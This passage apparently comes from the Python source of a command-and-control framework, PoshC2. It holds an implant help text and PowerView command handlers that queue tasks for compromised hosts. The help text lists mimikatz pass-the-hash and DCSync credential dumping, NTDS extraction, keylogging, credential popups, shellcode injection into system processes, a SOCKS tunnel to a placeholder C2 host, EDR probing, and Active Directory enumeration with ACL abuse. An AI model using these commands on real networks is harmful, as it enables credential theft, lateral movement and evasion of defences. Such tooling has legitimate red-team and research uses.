invoke-mimikatz -command '"sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash> /run:c:\\temp\\run.bat"'
|
|
invoke-tokenmanipulation | select-object domain, username, processid, iselevated, tokentype | ft -autosize | out-string
|
|
invoke-tokenmanipulation -impersonateuser -username "domain\\user"
|
|
get-lapspasswords
|
|
|
|
* Credentials / Domain Controller Hashes:
|
|
============================================
|
|
invoke-mimikatz -command '"lsadump::dcsync /domain:domain.local /user:administrator"'
|
|
invoke-dcsync -pwdumpformat
|
|
dump-ntds -emptyfolder <emptyfolderpath>
|
|
|
|
* Useful Modules:
|
|
====================
|
|
get-screenshot
|
|
get-screenshotallwindows
|
|
get-screenshotmulti -timedelay 120 -quantity 30
|
|
get-recentfiles
|
|
cred-popper
|
|
get-clipboard
|
|
hashdump
|
|
get-keystrokes
|
|
get-keystrokedata
|
|
arpscan -ipcidr 10.0.0.1/24
|
|
portscan -hosts 10.0.0.1-50 -ports "1-65535" -threads 10000 -delay 0
|
|
get-netstat | %{"$($_.Protocol) $($_.LocalAddress):$($_.LocalPort) $($_.RemoteAddress):$($_.RemotePort) $($_.State) $($_.ProcessName)($($_.PID))"}
|
|
migrate
|
|
migrate -procid 4444
|
|
migrate -procpath c:\\windows\\system32\\netsh.exe -RtlCreateUserThread
|
|
migrate -procpath c:\\windows\\system32\\netsh.exe -notsuspended
|
|
inject-shellcode -x86 -procid 5634 -parentId 1111
|
|
inject-shellcode -x64 -procpath 'c:\\windows\\system32\\svchost.exe' -parentId 1111
|
|
inject-shellcode -x64 -procpath 'c:\\windows\\system32\\netsh.exe' -parentId 1111 -notsuspended
|
|
get-injectedthread
|
|
get-eventlog -newest 10000 -instanceid 4624 -logname security | select message -expandproperty message | select-string -pattern "user1|user2|user3"
|
|
send-mailmessage -to "itdept@test.com" -from "user01 <user01@example.com>" -subject <> -smtpserver <> -attachment <>
|
|
sharpsocks -uri http://www.c2.com:9090 -beacon 2000 -insecure
|
|
stopsocks
|
|
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow program="C:\\windows\\system32\\svchost.exe" protocol=TCP localport=80 profile=Domain
|
|
reversedns 10.0.0.1
|
|
invoke-edrchecker
|
|
invoke-edrchecker -force
|
|
invoke-edrchecker -remote <hostname>
|
|
invoke-edrchecker -remote <hostname> -ignore
|
|
|
|
* PS Commands:
|
|
===============
|
|
((new-object Net.Sockets.TcpClient).connect("10.0.0.1",445))
|
|
1..254 | %{ try {[System.Net.Dns]::GetHostEntry("10.0.0.$_") } catch {} }|select hostname
|
|
[System.Net.Dns]::GetHostbyAddress("10.0.0.1")
|
|
$socket = new-object System.Net.Sockets.TcpListener('0.0.0.0', 1080);$socket.start();
|
|
|
|
|
|
* Implant Handler:
|
|
====================
|
|
searchhelp payload
|
|
searchallhelp mimikatz
|
|
searchhistory pushover
|
|
back
|
|
quit
|
|
exit
|
|
"""
|
|
|
|
print_good(posh_help)
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_search_help(user, command, implant_id):
|
|
"""
|
|
Search the command list for commands containing the keyword.
|
|
|
|
The search is case insensitive.
|
|
The -verbose option will search within and print the help for each command also.
|
|
|
|
Examples:
|
|
search-help psexec
|
|
search-help -verbose psexec
|
|
"""
|
|
search_help(command, commands_help)
|
|
|
|
|
|
@command(commands, commands_help, examples, block_help)
|
|
def do_powerview(user, command, implant_id):
|
|
"""
|
|
Runs a command in PowerView, ensuring that PowerView.ps1 is loaded into memory.
|
|
|
|
If the module has already been loaded then cmdlets can just be run directly.
|
|
|
|
Examples:
|
|
get-objectacl -resolveguids -samaccountname john
|
|
add-objectacl -targetsamaccountname arobbins -principalsamaccountname harmj0y -rights resetpassword
|
|
get-netuser -admincount | select samaccountname
|
|
get-netuser -uacfilter not_accountdisable -properties samaccountname,pwdlastset
|
|
get-domainuser -uacfilter not_password_expired,not_accountdisable -properties samaccountname,pwdlastset | export-csv act.csv
|
|
get-netgroup -admincount | select samaccountname
|
|
get-netgroupmember "domain admins" -recurse|select membername
|
|
get-netcomputer | select-string -pattern "citrix"
|
|
get-netcomputer -filter operatingsystem=*7*|select name
|
|
get-netcomputer -filter operatingsystem=*2008*|select name
|
|
get-netcomputer -searchbase "LDAP://OU=Windows 2008 Servers,OU=ALL Servers,DC=poshc2,DC=co,DC=uk"|select name
|
|
get-netcomputer -domaincontroller internal.domain.com -domain internal.domain.com -Filter "(lastlogontimestamp>=$((Get-Date).AddDays(-30).ToFileTime()))(samaccountname=UK*)"|select name,lastlogontimestamp,operatingsystem
|
|
get-domaincomputer -ldapfilter "(|(operatingsystem=*7*)(operatingsystem=*2008*))" -spn "wsman*" -properties dnshostname,serviceprincipalname,operatingsystem,distinguishedname | fl
|
|
get-netgroup | select-string -pattern "internet"
|
|
get-netuser -filter | select-object samaccountname,userprincipalname
|
|
get-netuser -filter samaccountname=test
|
|
get-netuser -filter userprinciplename=test@test.com
|
|
get-netgroup | select samaccountname
|
|
get-netgroup "*ben*" | select samaccountname
|
|
get-netgroupmember "domain admins" -recurse|select membername
|
|
get-netshare hostname
|
|
get-netdomain | get-netdomaincontroller | get-netforestdomain
|
|
get-netforest | get-netforesttrust
|
|
get-netuser -domain child.parent.com -filter samaccountname=test
|
|
get-netgroup -domain child.parent.com | select samaccountname
|
|
get-domaingpouserlocalgroupmapping -Identity MYSPNUSER -Domain internal.domain.com -server dc01.internal.domain.com |select ComputerName -expandproperty ComputerName | fl
|
|
get-domaingpouserlocalgroupmapping -LocalGroup RDP -Identity MYSPNUSER -Domain internal.domain.com -server dc01.internal.domain.com |select ComputerName -expandproperty ComputerName | fl
|
|
get-netdomaincontroller | select name | get-netsession | select *username,*cname
|
|
get-dfsshare | get-netsession | select *username,*cname
|
|
get-netfileserver | get-netsession | select *username,*cname
|
|
"""
|
|
command = command[9:].strip()
|
|
check_module_loaded("powerview.ps1", implant_id, user)
|
|
new_task = NewTask(
|
|
implant_id=implant_id,
|
|
command=command,
|
|
user=user,
|
|
child_implant_id=None
|
|
)
|
|
|
|
insert_object(new_task)
|